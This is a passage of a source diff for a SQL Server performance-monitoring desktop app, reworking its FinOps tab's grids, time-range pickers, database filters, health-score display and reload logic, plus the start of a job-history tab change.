                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IdleDbCount}" Width="70">
+                            <DataGridTextColumn Binding="{Binding IdleDbCount, TargetNullValue='-'}" Width="105">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IdleDbCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3111,7 +3123,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding UptimeDisplay}" Width="90">
+                            <DataGridTextColumn Binding="{Binding UptimeDisplay}" Width="100">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="UptimeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3141,9 +3153,10 @@
                             <DataGridTextColumn Header="Annual ($)" Binding="{Binding AnnualCost, StringFormat='{}{0:N0}'}" Width="100">
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Header="Health" Binding="{Binding HealthScore}" Width="60">
+                            <DataGridTextColumn Header="Health" Binding="{Binding HealthScore, TargetNullValue='-'}" Width="75">
                                 <DataGridTextColumn.ElementStyle>
                                     <Style TargetType="TextBlock">
+                                        <Setter Property="ToolTip" Value="{Binding HealthScoreNote}"/>
                                         <Setter Property="HorizontalAlignment" Value="Center"/>
                                         <Setter Property="FontWeight" Value="Bold"/>
                                         <Style.Triggers>
@@ -3168,7 +3181,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding HadrDisplay}" Width="60">
+                            <DataGridTextColumn Binding="{Binding HadrDisplay}" Width="90">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="HadrDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3176,7 +3189,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AgReplicaRoleDisplay}" Width="90">
+                            <DataGridTextColumn Binding="{Binding AgReplicaRoleDisplay}" Width="105">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AgReplicaRoleDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -3184,7 +3197,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding ClusteredDisplay}" Width="80">
+                            <DataGridTextColumn Binding="{Binding ClusteredDisplay}" Width="110">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ClusteredDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/>
diff --git a/Lite/Controls/FinOpsTab.xaml.cs b/Lite/Controls/FinOpsTab.xaml.cs
index 31925e5521..00fd33312e 100644
--- a/Lite/Controls/FinOpsTab.xaml.cs
+++ b/Lite/Controls/FinOpsTab.xaml.cs
@@ -44,6 +44,13 @@ public partial class FinOpsTab : UserControl
        for a server switch that never happened. Darling's FinOps tab carries the same flag. */
     private bool _populatingServers;
 
+    /* When the last whole per-server load began (UTC). The tab loads once at start-up, before the first collection has run; showing it
+       later re-runs that load, the same one a server reselect runs, unless this is recent (FinOpsShowReloadPolicy). */
+    private DateTime? _lastPerServerLoadUtc;
+
+    /* True until the tab's first show after start-up has run its reload: that one never skips on the age of the start-up load. */
+    private bool _firstShowPending = true;
+
     private DataGridFilterManager<DatabaseResourceUsageRow>? _dbResourcesFilterMgr;
     private DataGridFilterManager<StorageGrowthRow>? _storageGrowthFilterMgr;
     private DataGridFilterManager<DatabaseSizeRow>? _dbSizesFilterMgr;
@@ -73,6 +80,19 @@ sites already (ServerTab.Pickers.cs' _waitStatsPickerGen / _memoryClerksPickerGe
     public FinOpsTab()
     {
         InitializeComponent();
+        /* #5562: every list opened on the last 24 hours (1d); the heatmap on 30 days (1mo). */
+        /* R5: the lists and the heatmap read "hours back from now", so each picker is rolling only (the heatmap in whole days). */
+        LiteTimeRange.ConfigureFinOpsPicker(ResourceUsageTimeRangePicker, RollingUnitRule.Hour);
+        LiteTimeRange.ConfigureFinOpsPicker(WaitStatsTimeRangePicker, RollingUnitRule.Hour);
+        LiteTimeRange.ConfigureFinOpsPicker(ExpensiveQueriesTimeRangePicker, RollingUnitRule.Hour);
+        LiteTimeRange.ConfigureFinOpsPicker(HighImpactTimeRangePicker, RollingUnitRule.Hour);
+        LiteTimeRange.ConfigureFinOpsPicker(ObjectHeatmapWindowPicker, RollingUnitRule.Day);
+        var day = TimeRangePresets.FromLegacyHours(24)!;
+        ResourceUsageTimeRangePicker.Value = day;
+        WaitStatsTimeRangePicker.Value = day;
+        ExpensiveQueriesTimeRangePicker.Value = day;
+        HighImpactTimeRangePicker.Value = day;
+        ObjectHeatmapWindowPicker.Value = TimeRangePresets.FromLegacyHours(720)!;
         InitializeFilterManagers();
         IsVisibleChanged += (_, _) => ReloadUnfinishedSizeGridsOnShow();
     }
@@ -146,6 +166,23 @@ private void PopulateServerSelector()
             ServerSelector.SelectedIndex = 0;
     }
 
+    /// <summary>
+    /// #5312: the selected server's saved per-server database filter (the one the server tab's database picker persists in
+    /// <see cref="ServerConnection.ViewFilterDatabases"/>) as a reader argument: null (= every database, the unfiltered
+    /// statement) when nothing is chosen. Read from the manager's current entry, because the instance in the selector can be
+    /// older than a filter change made on the server tab. Call on the UI thread, before the read goes to the pool.
+    /// </summary>
+    private IReadOnlyList<string>? SelectedDatabaseFilter()
+    {
+        var shown = ServerSelector.SelectedItem as ServerConnection;
+        var current = shown == null ? null : _serverManager?.GetServerById(shown.Id) ?? shown;
+        return DatabaseFilterOf(current);
+    }
+
+    /// <summary>The filter of <paramref name="server"/> as a reader argument: null when it has none.</summary>
+    internal static IReadOnlyList<string>? DatabaseFilterOf(ServerConnection? server) =>
+        server == null || server.ViewFilterDatabases.Count == 0 ? null : server.ViewFilterDatabases.ToList();
+
     private int GetSelectedServerId()
     {
         if (ServerSelector.SelectedItem is ServerConnection server)
@@ -159,12 +196,22 @@ private int GetSelectedServerId()
     private PlanNavigationController? _planActions;
     private PlanNavigationController PlanActions => _planActions ??= new PlanNavigationController(
         Window.GetWindow(this)!,
-        async (xml, label, qt) => await Windows.PlanViewerWindow.ShowPlanAsync(
-            Window.GetWindow(this)!, xml, label, qt,
-            _dataService != null ? await _dataService.GetServerMetadataForPlanAnalysisAsync(GetSelectedServerId()) : null),
-        (db, qt, est, iso, ct) => ActualPlanExecutor.ExecuteForActualPlanAsync(
+        async (xml, label, qt) =>
+        {
+            /* #5457: the owner and the selected server are read here, on the UI thread, and the metadata read runs
+               off it, so a held store lock cannot freeze the window. */
+            var owner = Window.GetWindow(this)!;
+            var dataService = _dataService;
+            var serverId = GetSelectedServerId();
+            var metadata = dataService != null
+                ? await Task.Run(() => dataService.GetServerMetadataForPlanAnalysisAsync(serverId))
+                : null;
+            await Windows.PlanViewerWindow.ShowPlanAsync(owner, xml, label, qt, metadata);
+        },
+        /* #4348: the re-run's plan comes from the monitored server, not the collected rows, so it is judged here. */
+            async (db, qt, est, iso, ct) => await LivePlanDisplay.FilterAsync(await ActualPlanExecutor.ExecuteForActualPlanAsync(
             GetSelectedConnectionString() ?? "", db, qt, est, iso, isAzureSqlDb: false, timeoutSeconds: 0, ct,
-            productName: "SQL Server Performance Monitor Lite"),
+            productName: "SQL Server Performance Monitor Lite")),
         "the monitored server");
 
     private string? GetSelectedConnectionString()
@@ -186,7 +233,7 @@ private int GetSelectedServerId()
         {
             var connStr = GetSelectedConnectionString();
             if (!string.IsNullOrEmpty(connStr))
-                plan = await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, queryHash);
+                plan = await LivePlanDisplay.FilterAsync(await LocalDataService.FetchQueryPlanOnDemandAsync(connStr, queryHash));
         }
         return plan;
     }
@@ -240,6 +287,7 @@ private async System.Threading.Tasks.Task LoadPerServerDataAsync()
         using var _profiler = Helpers.MethodProfiler.StartTiming("FinOps-PerServerData");
         var serverId = GetSelectedServerId();
         if (serverId == 0 || _dataService == null) return;
+        _lastPerServerLoadUtc = DateTime.UtcNow;
 
         // Re-read monthly cost from server manager in case user edited the server config
         if (ServerSelector.SelectedItem is Models.ServerConnection selectedServer && _serverManager != null)
@@ -283,9 +331,12 @@ grid on the first server's answer. Caught in review on this change. */
             var gen = _loads.Claim(nameof(LoadRecommendationsAsync));
 
             var utilityConnectionString = _credentialResolver.GetUtilityConnectionString(selectedServer!);
-            var data = await Task.Run(() => _dataService.GetRecommendationsAsync(serverId, connectionString, utilityConnectionString, _currentServerMonthlyCost));
+            var (data, skippedNote) = await Task.Run(() => _dataService.GetRecommendationsWithNoteAsync(serverId, connectionString, utilityConnectionString, _currentServerMonthlyCost));
             if (_loads.Superseded(nameof(LoadRecommendationsAsync), gen)) return;
             RecommendationsDataGrid.ItemsSource = data;
+            /* #5558: databases this server holds only as an Availability Group secondary copy are left to the primary's findings. */
+            RecommendationsSecondaryNoteText.Text = skippedNote ?? "";
+            RecommendationsSecondaryNoteText.Visibility = skippedNote is null ? Visibility.Collapsed : Visibility.Visible;
             RecommendationsNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
             RecommendationsCountIndicator.Text = data.Count > 0 ? $"{data.Count} recommendation(s)" : "";
         }
@@ -311,11 +362,14 @@ private async System.Threading.Tasks.Task LoadUtilizationAsync(int serverId)
                 data.MonthlyCost = _currentServerMonthlyCost;
 
                 // Compute free space % for health score from database sizes
+                /* #5312: deliberately NOT filtered. This read feeds the server's free-space health score, which is a
+                   server-wide figure, so the saved database filter must not move it. The Database Sizes grid and the
+                   size chart below take the filter. */
                 dbSizes = await Task.Run(() => _dataService.GetDatabaseSizeLatestAsync(serverId));
                 if (_loads.Superseded(nameof(LoadUtilizationAsync), gen)) return;
                 var totalStorageMb = DatabaseSizeRow.AllocatedTotalMb(dbSizes);
                 var totalFreeMb = DatabaseSizeRow.FreeTotalMb(dbSizes);
-                data.FreeSpacePct = totalStorageMb > 0 ? totalFreeMb / totalStorageMb * 100m : 100m;
+                data.FreeSpacePct = FinOpsHealthCalculator.FreeSpacePct(totalStorageMb, totalFreeMb);
             }
 
             UpdateUtilizationSummary(data);
@@ -339,7 +393,8 @@ straight from its own await. An assignment that IS the await statement paints th
                 topAvg = byAvg;
                 if (_loads.Superseded(nameof(LoadUtilizationAsync), gen)) return;
 
-                dbSizeSummary = await Task.Run(() => _dataService.GetDatabaseSizeSummaryAsync(serverId));
+                var sizeChartFilter = SelectedDatabaseFilter();
+                dbSizeSummary = await Task.Run(() => _dataService.GetDatabaseSizeSummaryAsync(serverId, 10, sizeChartFilter));
                 if (_loads.Superseded(nameof(LoadUtilizationAsync), gen)) return;
 
                 provisioningTrend = await Task.Run(() => _dataService.GetProvisioningTrendAsync(serverId));
@@ -349,6 +404,9 @@ straight from its own await. An assignment that IS the await statement paints th
             TopTotalGrid.ItemsSource = topTotal;
             TopAvgGrid.ItemsSource = topAvg;
             DbSizeChart.ItemsSource = dbSizeSummary;
+            /* A server with no CPU sample in the window is stale or not collecting: its latest sizes can be days old, so the chart is
+               hidden rather than shown as if they were current. */
+            DbSizeChartGroup.Visibility = data is { ShowsDatabaseSizeChart: true } ? Visibility.Visible : Visibility.Collapsed;
             /* The caption names only the databases that have a bar, so it is built from the list the chart is painted from. */
             var chartCaption = dbSizeSummary is null ? null : DatabaseSizeRow.ChartCaption(dbSizes, dbSizeSummary.Select(b => b.DatabaseName));
             DbSizeChartCaption.Text = chartCaption ?? "";
@@ -407,9 +465,10 @@ private void UpdateUtilizationSummary(UtilizationEfficiencyRow? data)
         }
 
         /* CPU text + bars */
-        AvgCpuText.Text = $"{data.AvgCpuPct:N2}%";
-        P95CpuText.Text = $"{data.P95CpuPct:N2}%";
-        MaxCpuText.Text = $"{data.MaxCpuPct}%";
+        /* A window with no CPU sample shows dashes and empty bars: the 0s the read returns came from nothing. */
+        AvgCpuText.Text = data.AvgCpuText;
+        P95CpuText.Text = data.P95CpuText;
+        MaxCpuText.Text = data.MaxCpuText;
         CpuSamplesText.Text = data.CpuSamples.ToString("N0");
         /* On an Azure SQL Database the count is its vCores, named as vCores, and n/a where its service objective names none: the
            scheduler count it can see is never shown as the CPU it is given. */
@@ -418,9 +477,9 @@ scheduler count it can see is never shown as the CPU it is given. */
         /* The in-use count is n/a where it was not collected (NULL on an Azure SQL Database), never 0; the maximum shows as stored. */
         WorkerThreadsText.Text = ServerHardwareScope.WorkerThreadsText(data.CurrentWorkersCount, data.MaxWorkersCount);
 
-        SetBar(AvgCpuBar, AvgCpuFilled, AvgCpuEmpty, (double)data.AvgCpuPct);
-        SetBar(P95CpuBar, P95CpuFilled, P95CpuEmpty, (double)data.P95CpuPct);
-        SetBar(MaxCpuBar, MaxCpuFilled, MaxCpuEmpty, data.MaxCpuPct);
+        SetBar(AvgCpuBar, AvgCpuFilled, AvgCpuEmpty, data.HasCpuSample ? (double)data.AvgCpuPct : 0);
+        SetBar(P95CpuBar, P95CpuFilled, P95CpuEmpty, data.HasCpuSample ? (double)data.P95CpuPct : 0);
+        SetBar(MaxCpuBar, MaxCpuFilled, MaxCpuEmpty, data.HasCpuSample ? data.MaxCpuPct : 0);
 
         /* Stolen Memory % = (Total Server Memory - Buffer Pool) / Total Server Memory */
         var stolenPct = data.TotalMemoryMb > 0
@@ -481,9 +540,10 @@ pressure or worker saturation would have been explained as a memory ratio that n
         /* Health score: CPU, memory and storage on every edition. The memory term reads memory_stats, which on an Azure SQL
            Database is the database's own. */
         data.HealthScore = data.ComputeHealthScore();
-        /* A window with no CPU sample has no CPU term (ComputeHealthScore leaves it out), and the tooltip says so. */
-        HealthScoreBorder.ToolTip = data.HasCpuSample ? null : ServerHardwareScope.HealthScoreWithoutCpuNote;
-        HealthScoreText.Text = $"Health: {data.HealthScore}";
+        /* A window with no CPU sample has no score: the memory and storage terms alone would read a full 100 next to "No Data".
+           It shows a dash on a gray badge, and the tooltip says why. */
+        HealthScoreBorder.ToolTip = data.HasCpuSample ? null : FinOpsHealthCalculator.NoScoreNote;
+        HealthScoreText.Text = data.HealthScoreText;
         HealthScoreBorder.Background = new SolidColorBrush((Color)ColorConverter.ConvertFromString(data.HealthScoreColor));
         HealthScoreBorder.Visibility = Visibility.Visible;
     }
@@ -506,9 +566,7 @@ private static void SetBar(Border bar, ColumnDefinition filled, ColumnDefinition
         empty.Width = new GridLength(Math.Max(100 - clamped, 0.1), GridUnitType.Star);
     }
 
-    private int HoursBackFromIndex(System.Windows.Controls.ComboBox combo) => combo.SelectedIndex switch { 0 => 1, 1 => 4, 2 => 12, 3 => 24, 4 => 168, _ => 24 };
-
-    private async void ResourceUsageTimeRange_Changed(object sender, System.Windows.Controls.SelectionChangedEventArgs e)
+    private async void ResourceUsageTimeRange_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
         var serverId = GetSelectedServerId();
@@ -523,7 +581,7 @@ private async System.Threading.Tasks.Task LoadDatabaseResourcesAsync(int serverI
 
         try
         {
-            var hoursBack = HoursBackFromIndex(ResourceUsageTimeRangeCombo);
+            var hoursBack = LiteTimeRange.HoursBackOf(ResourceUsageTimeRangePicker, 24);
             var data = await Task.Run(() => _dataService.GetDatabaseResourceUsageAsync(serverId, hoursBack));
             if (_loads.Superseded(nameof(LoadDatabaseResourcesAsync), gen)) return;
             _dbResourcesFilterMgr!.UpdateData(data);
@@ -575,14 +633,43 @@ objects. Both the column text and the sort values read the stamped clock. */
     private void ReloadUnfinishedSizeGridsOnShow()
     {
         if (!IsVisible || _dataService == null) return;
-        /* A show while a flagged load is still in flight starts a second load that supersedes the first: one
-           extra local read, and the generation check keeps only the newest paint. */
         var serverId = GetSelectedServerId();
         if (serverId == 0) return;
+
+        /* The first show: the start-up load ran before any collection, against a store that may be days old, so every grid on this
+           tab (and the recommendations built from them) can still be that empty window. Re-run the same whole load a server
+           reselect runs, for the server already selected; the per-grid generations drop any paint it supersedes. Filters stay: no
+           server switch happened. It covers both size grids, so the flagged reloads below are for a recent load. */
+        var firstShow = _firstShowPending;
+        _firstShowPending = false;
+        if (FinOpsShowReloadPolicy.ShouldReloadOnShow(_lastPerServerLoadUtc, DateTime.UtcNow, firstShow))
+        {
+            _ = LoadPerServerDataAsync();
+            return;
+        }
+
+        /* A show while a flagged load is still in flight starts a second load that supersedes the first: one
+           extra local read, and the generation check keeps only the newest paint. */
         if (_dbSizesNeedReload) _ = LoadDatabaseSizesAsync(serverId);
         if (_storageGrowthNeedReload) _ = LoadStorageGrowthAsync(serverId);
     }
 
+    /// <summary>
+    /// The Overview refresh saw that a collection for <paramref name="serverId"/> finished at <paramref name="lastCollectionUtc"/>.
+    /// A tab that is visible on that server reloads (see <see cref="FinOpsShowReloadPolicy.ShouldReloadAfterCollection"/>): the load it
+    /// holds may have read the window before the collection, and nothing else re-runs it while the tab stays shown.
+    /// </summary>
+    public void NoteCollection(int serverId, DateTime? lastCollectionUtc)
+    {
+        if (!IsVisible || _dataService == null || lastCollectionUtc is not DateTime collected) return;
+        if (serverId == 0 || GetSelectedServerId() != serverId) return;
+
+        if (FinOpsShowReloadPolicy.ShouldReloadAfterCollection(_lastPerServerLoadUtc, collected, DateTime.UtcNow))
+        {
+            _ = LoadPerServerDataAsync();
+        }
+    }
+
     private async System.Threading.Tasks.Task LoadDatabaseSizesAsync(int serverId)
     {
         if (_dataService == null) return;
@@ -591,7 +678,8 @@ private async System.Threading.Tasks.Task LoadDatabaseSizesAsync(int serverId)
 
         try
         {
-            var data = await Task.Run(() => _dataService.GetDatabaseSizeLatestAsync(serverId));
+            var sizesFilter = SelectedDatabaseFilter();
+            var data = await Task.Run(() => _dataService.GetDatabaseSizeLatestAsync(serverId, sizesFilter));
             if (_loads.Superseded(nameof(LoadDatabaseSizesAsync), gen)) return;
 
             // Compute proportional cost shares
@@ -626,7 +714,9 @@ one database's files and explains nothing.
 
             if (data.Count > 0 && _dataService != null)
             {
-                var properties = await _dataService.GetLatestServerPropertiesAsync(serverId);
+                /* #5457: off the UI thread, so a held store lock cannot freeze the window. */
+                var dataService = _dataService;
+                var properties = await Task.Run(() => dataService.GetLatestServerPropertiesAsync(serverId));
                 if (_loads.Superseded(nameof(LoadDatabaseSizesAsync), gen)) return;
 
                 if (properties?.EngineEdition == 5)
@@ -661,7 +751,8 @@ private async System.Threading.Tasks.Task LoadPvsStatsAsync(int serverId)
 
         try
         {
-            var data = await Task.Run(() => _dataService.GetPvsStatsLatestAsync(serverId));
+            var pvsFilter = SelectedDatabaseFilter();
+            var data = await Task.Run(() => _dataService.GetPvsStatsLatestAsync(serverId, pvsFilter));
             if (_loads.Superseded(nameof(LoadPvsStatsAsync), gen)) return;
 
             _pvsStatsFilterMgr!.UpdateData(data);
@@ -681,7 +772,7 @@ because the tabs are UI objects. */
             var openTab = _openTabClock.Invoke(serverId);
             var dataService = _dataService;
             var (trend, collected) = await Task.Run(async () =>
-                (await dataService.GetPvsTrendAsync(serverId, DateTime.UtcNow.AddDays(-7)),
+                (await dataService.GetPvsTrendAsync(serverId, DateTime.UtcNow.AddDays(-7), pvsFilter),
                  await dataService.GetServerClockAsync(serverId)));
             if (_loads.Superseded(nameof(LoadPvsStatsAsync), gen)) return;
 
@@ -773,16 +864,8 @@ private async System.Threading.Tasks.Task LoadServerInventoryAsync(bool forceRef
                 async () => await Task.Run(() => _dataService!.GetServerMetricsAsync()));
             if (_loads.Superseded(nameof(LoadServerInventoryAsync), gen)) return;
 
-            // Compute health scores for each server
-            foreach (var item in data)
-            {
-                /* A server with no CPU sample in the window has a null average: its CPU term is left out, because scoring it
-                   as 0% CPU would hand it a full 100 made from nothing. */
-                int? cpuScore = item.AvgCpuPct is decimal avgCpu ? FinOpsHealthCalculator.CpuScore(avgCpu) : null;
-                var memScore = 80; // Default — we don't have buffer pool ratio in inventory
-                var storScore = FinOpsHealthCalculator.StorageScore(50); // Default — no file-level free space in inventory
-                item.HealthScore = FinOpsHealthCalculator.Overall(cpuScore, memScore, storScore);
-            }
+            /* The Health column comes with the collected overlay (FinOpsServerInventory.ApplyCollectedMetrics): the same score the Utilization
+               tab shows for the server, from its p95 CPU, buffer pool and free space. A server with no CPU sample has none (a dash). */
 
             _serverInventoryCache = data;
             _serverInventoryCacheTime = DateTime.Now;
@@ -805,7 +888,8 @@ private async System.Threading.Tasks.Task LoadStorageGrowthAsync(int serverId)
 
         try
         {
-            var data = await Task.Run(() => _dataService.GetStorageGrowthAsync(serverId));
+            var storageGrowthFilter = SelectedDatabaseFilter();   // #5312: UI thread, before the read goes to the pool
+            var data = await Task.Run(() => _dataService.GetStorageGrowthAsync(serverId, storageGrowthFilter));
             if (_loads.Superseded(nameof(LoadStorageGrowthAsync), gen)) return;
             _storageGrowthFilterMgr!.UpdateData(data);
             _storageGrowthNeedReload = data.Count == 0;
@@ -844,9 +928,16 @@ private async System.Threading.Tasks.Task LoadIdleDatabasesAsync(int serverId)
 
         try
         {
-            var data = await Task.Run(() => _dataService.GetIdleDatabasesAsync(serverId));
+            // The same 7-day coverage rule the recommendation row uses: a database is idle only when each of the last 7 UTC days was
+            // watched, else the grid says why it is empty instead of "No idle databases detected".
+            var (covered, data) = await Task.Run(async () =>
+            {
+                var hasCoverage = await _dataService.HasQueryStatsCoverageAsync(serverId);
+                return (hasCoverage, hasCoverage ? await _dataService.GetIdleDatabasesAsync(serverId) : new List<IdleDatabaseRow>());
+            });
             if (_loads.Superseded(nameof(LoadIdleDatabasesAsync), gen)) return;
             _idleDbsFilterMgr!.UpdateData(data);
+            IdleDatabasesNoDataMessage.Text = LocalDataService.IdleDatabasesEmptyText(covered);
             IdleDatabasesNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
             IdleDatabasesCountIndicator.Text = data.Count > 0 ? $"{data.Count} idle database(s)" : "";
         }
@@ -881,7 +972,7 @@ private async System.Threading.Tasks.Task LoadHighImpactQueriesAsync(int serverI
 
         try
         {
-            var hoursBack = HoursBackFromIndex(HighImpactTimeRangeCombo);
+            var hoursBack = LiteTimeRange.HoursBackOf(HighImpactTimeRangePicker, 24);
             var data = await Task.Run(() => _dataService.GetHighImpactQueriesAsync(serverId, hoursBack));
             if (_loads.Superseded(nameof(LoadHighImpactQueriesAsync), gen)) return;
             _highImpactFilterMgr!.UpdateData(data);
@@ -901,7 +992,7 @@ private async System.Threading.Tasks.Task LoadWaitCategorySummaryAsync(int serve
 
         try
         {
-            var hoursBack = HoursBackFromIndex(WaitStatsTimeRangeCombo);
+            var hoursBack = LiteTimeRange.HoursBackOf(WaitStatsTimeRangePicker, 24);
             var data = await Task.Run(() => _dataService.GetWaitCategorySummaryAsync(serverId, hoursBack));
             if (_loads.Superseded(nameof(LoadWaitCategorySummaryAsync), gen)) return;
 
@@ -933,7 +1024,7 @@ private async System.Threading.Tasks.Task LoadExpensiveQueriesAsync(int serverId
 
         try
         {
-            var hoursBack = HoursBackFromIndex(ExpensiveQueriesTimeRangeCombo);
+            var hoursBack = LiteTimeRange.HoursBackOf(ExpensiveQueriesTimeRangePicker, 24);
             var data = await Task.Run(() => _dataService.GetExpensiveQueriesAsync(serverId, hoursBack));
             if (_loads.Superseded(nameof(LoadExpensiveQueriesAsync), gen)) return;
 
@@ -983,6 +1074,10 @@ private async System.Threading.Tasks.Task LoadMemoryGrantEfficiencyAsync(int ser
 
     private async void ServerSelector_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
+        /* #5565: the tab's grids keep their column filters per server, so the scope follows the selector - also while
+           the list repopulates, when the early return below skips the rest. */
+        ColumnFilterScope.SetServer(this, (ServerSelector.SelectedItem as ServerConnection)?.Id);
+
         if (_populatingServers) return; // same-server list repopulation, not a switch — see RefreshServerList
 
         ResetStorageDrill(); // a new server invalidates any open object/index drill
@@ -1059,7 +1154,7 @@ private async void RefreshStorageGrowth_Click(object sender, RoutedEventArgs e)
         }
     }
 
-    private async void WaitStatsTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void WaitStatsTimeRange_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
         var serverId = GetSelectedServerId();
@@ -1067,7 +1162,7 @@ private async void WaitStatsTimeRange_Changed(object sender, SelectionChangedEve
         await LoadWaitCategorySummaryAsync(serverId);
     }
 
-    private async void ExpensiveQueriesTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void ExpensiveQueriesTimeRange_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
         var serverId = GetSelectedServerId();
@@ -1081,7 +1176,7 @@ private async void RefreshHighImpact_Click(object sender, RoutedEventArgs e)
         if (serverId != 0) await LoadHighImpactQueriesAsync(serverId);
     }
 
-    private async void HighImpactTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void HighImpactTimeRange_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded || _dataService == null) return;
         var serverId = GetSelectedServerId();
@@ -1129,9 +1224,12 @@ is missing rather than unreachable.
                So on Azure the connection targets the database being ANALYSED, not the utility database: the
                proc has to be installed in each database anyway (which is what the reporter found by
                experiment), and pointing at the target is the only shape that can work. */
-            var properties = _dataService == null
+            /* #5457: the combo is read here, on the UI thread, and the read itself runs off it. */
+            var propertiesDataService = _dataService;
+            var propertiesServerId = GetSelectedServerId();
+            var properties = propertiesDataService == null
                 ? null
-                : await _dataService.GetLatestServerPropertiesAsync(GetSelectedServerId());
+                : await Task.Run(() => propertiesDataService.GetLatestServerPropertiesAsync(propertiesServerId));
             if (_loads.Superseded(nameof(RunIndexAnalysis_Click), gen)) return;
             var isAzureSqlDb = properties?.EngineEdition == 5;
 
@@ -1196,7 +1294,7 @@ server with 50 databases is not actionable without saying which one was checked.
         {
             AppLogger.Error("FinOps", $"Failed to run index analysis: {ex.Message}");
             if (_loads.Superseded(nameof(RunIndexAnalysis_Click), gen)) return;
-            IndexAnalysisStatusText.Text = $"Error: {ex.Message}";
+            IndexAnalysisStatusText.Text = $"Error: {DuckDbMemoryLimitSetting.Describe(ex)}";
         }
         finally
         {
diff --git a/Lite/Controls/JobHistoryTab.xaml b/Lite/Controls/JobHistoryTab.xaml
index 7642a2f14c..47e63ee9e2 100644
--- a/Lite/Controls/JobHistoryTab.xaml
+++ b/Lite/Controls/JobHistoryTab.xaml
@@ -1,6 +1,7 @@
 <UserControl x:Class="PerformanceMonitorLite.Controls.JobHistoryTab"
              xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+             xmlns:ui="clr-namespace:PerformanceMonitor.Ui;assembly=PerformanceMonitor.Ui"
              xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
              xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
              mc:Ignorable="d"
@@ -54,6 +55,7 @@
     </UserControl.Resources>
     <Grid>
         <Grid.RowDefinitions>
+            <RowDefinition Height="Auto"/>
             <RowDefinition Height="Auto"/>
             <RowDefinition Height="*"/>
         </Grid.RowDefinitions>
@@ -64,14 +66,7 @@
                        Foreground="{DynamicResource ForegroundBrush}"/>
             <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="5,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
-            <ComboBox x:Name="TimeRangeComboBox" Width="100" VerticalAlignment="Center"
-                      SelectionChanged="Filter_SelectionChanged">
-                <ComboBoxItem Content="Last 24 Hours" Tag="24" IsSelected="True"/>
-                <ComboBoxItem Content="Last 7 Days" Tag="168"/>
-                <ComboBoxItem Content="Last 30 Days" Tag="720"/>
-                <ComboBoxItem Content="Last 90 Days" Tag="2160"/>
-                <ComboBoxItem Content="Last Year" Tag="8760"/>
-            </ComboBox>
+            <ui:TimeRangePicker x:Name="RangePicker" VerticalAlignment="Center" RangeChanged="RangePicker_RangeChanged"/>
             <TextBlock Text="Server:" VerticalAlignment="Center" Margin="12,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
             <ComboBox x:Name="ServerFilterComboBox" Width="150" VerticalAlignment="Center"
@@ -105,8 +100,17 @@
                        FontSize="11" Foreground="#FFCC6600" FontWeight="SemiBold" Visibility="Collapsed"/>
         </StackPanel>
 
+        <!-- #4966: "Showing since <time>" when the runs below start after the range does. Job history is an event surface: the
+             first collection copies the server's msdb history, so a run's own time can sit long before the collection that stored
+             it. The note names the earlier of the collector's coverage and the earliest run shown, or the oldest run of a full page
+             of the newest 2,000 (the read's cap). One server: that server's wall clock, as the Run Time column prints it; All
+             Servers: UTC, because the rows sit on different servers' clocks. -->
+        <TextBlock Grid.Row="1" x:Name="JobHistoryWindowTruncatedBanner" Visibility="Collapsed"
+                   Margin="10,0,10,4" Padding="8,4" FontWeight="Bold"
+                   Foreground="{DynamicResource ForegroundBrush}" Background="#22FFAA00"/>
+
         <!-- DataGrid -->
-        <Grid Grid.Row="1" Margin="10,0,10,10">
